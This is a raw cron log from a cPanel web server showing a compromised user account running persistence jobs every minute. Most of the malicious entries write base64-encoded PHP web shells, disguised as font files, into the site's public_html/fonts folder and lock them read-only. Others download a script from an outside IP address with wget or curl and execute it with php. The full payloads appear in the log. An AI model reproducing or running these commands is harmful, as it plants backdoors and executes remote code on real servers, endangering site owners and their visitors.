Sep  1 02:10:01 ip-184-168-122-23 CROND[31090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:10:01 ip-184-168-122-23 CROND[31091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:10:01 ip-184-168-122-23 CROND[31092]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:10:01 ip-184-168-122-23 CROND[31093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:10:01 ip-184-168-122-23 CROND[31088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:11:01 ip-184-168-122-23 CROND[31193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:11:01 ip-184-168-122-23 CROND[31195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:11:01 ip-184-168-122-23 CROND[31196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:11:01 ip-184-168-122-23 CROND[31197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:12:01 ip-184-168-122-23 CROND[31386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:12:01 ip-184-168-122-23 CROND[31390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:12:01 ip-184-168-122-23 CROND[31389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:12:01 ip-184-168-122-23 CROND[31392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:12:01 ip-184-168-122-23 CROND[31391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:13:01 ip-184-168-122-23 CROND[31475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:13:01 ip-184-168-122-23 CROND[31477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:13:01 ip-184-168-122-23 CROND[31478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:13:01 ip-184-168-122-23 CROND[31476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:14:01 ip-184-168-122-23 CROND[31566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:14:02 ip-184-168-122-23 CROND[31568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:14:02 ip-184-168-122-23 CROND[31569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:14:02 ip-184-168-122-23 CROND[31570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:14:02 ip-184-168-122-23 CROND[31571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:15:01 ip-184-168-122-23 CROND[31661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:15:01 ip-184-168-122-23 CROND[31663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:15:01 ip-184-168-122-23 CROND[31664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:15:01 ip-184-168-122-23 CROND[31666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:15:01 ip-184-168-122-23 CROND[31667]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:15:01 ip-184-168-122-23 CROND[31672]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 02:15:01 ip-184-168-122-23 CROND[31675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:16:01 ip-184-168-122-23 CROND[31775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:16:01 ip-184-168-122-23 CROND[31777]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 02:16:01 ip-184-168-122-23 CROND[31780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:16:01 ip-184-168-122-23 CROND[31779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:16:01 ip-184-168-122-23 CROND[31781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:16:01 ip-184-168-122-23 CROND[31778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:17:01 ip-184-168-122-23 CROND[31959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:17:01 ip-184-168-122-23 CROND[31958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:17:01 ip-184-168-122-23 CROND[31960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:17:01 ip-184-168-122-23 CROND[31961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:18:01 ip-184-168-122-23 CROND[32039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:18:01 ip-184-168-122-23 CROND[32043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:18:01 ip-184-168-122-23 CROND[32041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:18:01 ip-184-168-122-23 CROND[32042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:18:01 ip-184-168-122-23 CROND[32045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:19:01 ip-184-168-122-23 CROND[32132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:19:01 ip-184-168-122-23 CROND[32133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:19:01 ip-184-168-122-23 CROND[32134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:19:01 ip-184-168-122-23 CROND[32136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:20:01 ip-184-168-122-23 CROND[32243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:20:01 ip-184-168-122-23 CROND[32244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:20:01 ip-184-168-122-23 CROND[32249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:20:01 ip-184-168-122-23 CROND[32251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:20:01 ip-184-168-122-23 CROND[32252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:20:01 ip-184-168-122-23 CROND[32253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:20:01 ip-184-168-122-23 CROND[32255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:20:01 ip-184-168-122-23 CROND[32257]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 02:20:01 ip-184-168-122-23 CROND[32259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:21:01 ip-184-168-122-23 CROND[32379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:21:01 ip-184-168-122-23 CROND[32381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:21:02 ip-184-168-122-23 CROND[32384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:21:02 ip-184-168-122-23 CROND[32383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:22:01 ip-184-168-122-23 CROND[32459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:22:01 ip-184-168-122-23 CROND[32462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:22:01 ip-184-168-122-23 CROND[32464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:22:01 ip-184-168-122-23 CROND[32463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:22:01 ip-184-168-122-23 CROND[32461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
